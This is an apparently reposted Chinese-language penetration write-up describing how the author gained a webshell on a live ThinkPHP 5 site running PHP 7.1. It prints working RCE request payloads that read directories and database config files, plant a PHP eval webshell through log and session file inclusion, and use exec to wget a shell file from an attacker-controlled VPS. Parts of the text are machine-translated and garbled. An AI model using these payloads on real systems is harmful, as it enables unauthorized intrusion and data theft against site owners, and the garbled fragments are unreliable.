在10-1010之前,很少有电台联系tp5,他们只知道利用RCE漏洞获取shell的方法。在最近的一次对发卡平台的渗透中,由于php版本的限制,无法直接使用RCE的有效载荷来获取外壳。因此,我们尽可能地在tp5 php7.1环境中测试getshell方法。
前言
-
【查看资料】
获得网站后,访问主页如下。
在测试过程中,发现是thinkphp站,错误报告如下。
但是,我看不到具体的版本,也不确定RCE是否存在,所以我用exp试试。
_ method=_ _ constructmethod=getfilter=call _ user _ functget[]=phpinfo
发现执行成功,disable_function禁用了不少功能。
一般php版本低于7.1的时候,可以直接用exp写shell。
00-1010用exp在下面直接写shell。
s=file_put_contents('test.php ','?PHP phpinfo();')_ method=_ _ construction method=post filter[]=assert,但是在这个exp中使用了assert,而且如上图所示,php版本是7.1.33,所以这个版本不能再使用assert,所以这个方法不能在这里使用。
上面的00-1010 exp不能写shell,但是phpinfo是执行的,所以RCE是存在的。所以我以为可以通过读取文件来读取数据库的账号密码,然后找到phpmyadmin,这样就可以通过数据库写一个shell了。
然后通过phpinfo中的信息找到网站的根目录,然后使用scandir函数遍历目录找到数据库配置文件。
_ method=_ _ construct filter[]=scandirfilter[]=var _ dump method=get[]=path(9505 . 163.com)。
然后通过highlight_file函数读取文件。
_ method=_ _ construct filter[]=highlight _ file method=get get[]=读取文件路径。
0" alt="「网络安全」一次实战中对tp5网站getshell方式的测试">
拿到数据库信息后,找看看是否存在phpmyadmin,最终发现没有,于是这种方法也失败。
在论坛搜索tp5的getshell方法,发现不少师傅说到可以用日志包含或者session包含的方法,但是之前没接触过,不知道具体的,于是搜索尝试一下。
方法三
尝试日志包含
首先写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>
然后通过日志包含来getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();
失败了,这里日志包含的方法也不可用
方法四
尝试使用session包含的方法来getshell
首先通过设置session会话并传入一句话木马
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面)
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();
成功执行,接下来通过蚁剑连接即可
成功getshell
www权限
方法五
上面拿到了shell,但是我还是再尝试了是否还有其他方法能getshell的。看到一篇文章,是由于disable_function中没有禁用exec,然后利用exec从vps下载shell文件。
于是我仔细看了下disable_function中禁用的函数,巧了,发现也没有禁用exec,那么试一下
首先在vps上创建一个test.php,并用python开放一个端口
python -m SimpleHTTPServer 8888
从vps上下载文件
s=wget vps/test.php&_method=__construct&method=get&filter[]=exec
成功下载到目标机器上
最后
实战是比较好的学习方法,通过对这个战点的渗透,才知道tp5的站有挺多种方法的,也学到了之前没有使用过的session包含。本次实战不仅仅为了getshell,也是为了学习利用tp5的不同的getshell方法。
关注我,持续更新——私我获取【网络安全学习资料·攻略】
内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/52433.html